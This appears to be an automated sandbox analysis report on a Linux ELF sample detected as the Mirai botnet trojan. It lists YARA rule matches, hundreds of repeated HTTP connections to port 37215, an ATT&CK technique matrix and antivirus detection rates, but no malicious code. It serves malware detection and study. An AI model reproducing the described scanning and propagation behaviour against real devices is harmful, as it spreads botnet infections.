Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal96.troj.linELF@0/0@1/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/Hc4cUTxU09.elf (PID: 6211)

File: /proc/6211/mounts

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 47400
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35512
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 49398
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: Hc4cUTxU09.elf, type: SAMPLE
Source: Yara match	File source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: Hc4cUTxU09.elf, type: SAMPLE
Source: Yara match	File source: 6210.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	1 File and Directory Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Hc4cUTxU09.elf	68%	ReversingLabs	Linux.Trojan.Mirai
Hc4cUTxU09.elf	56%	Virustotal		Browse
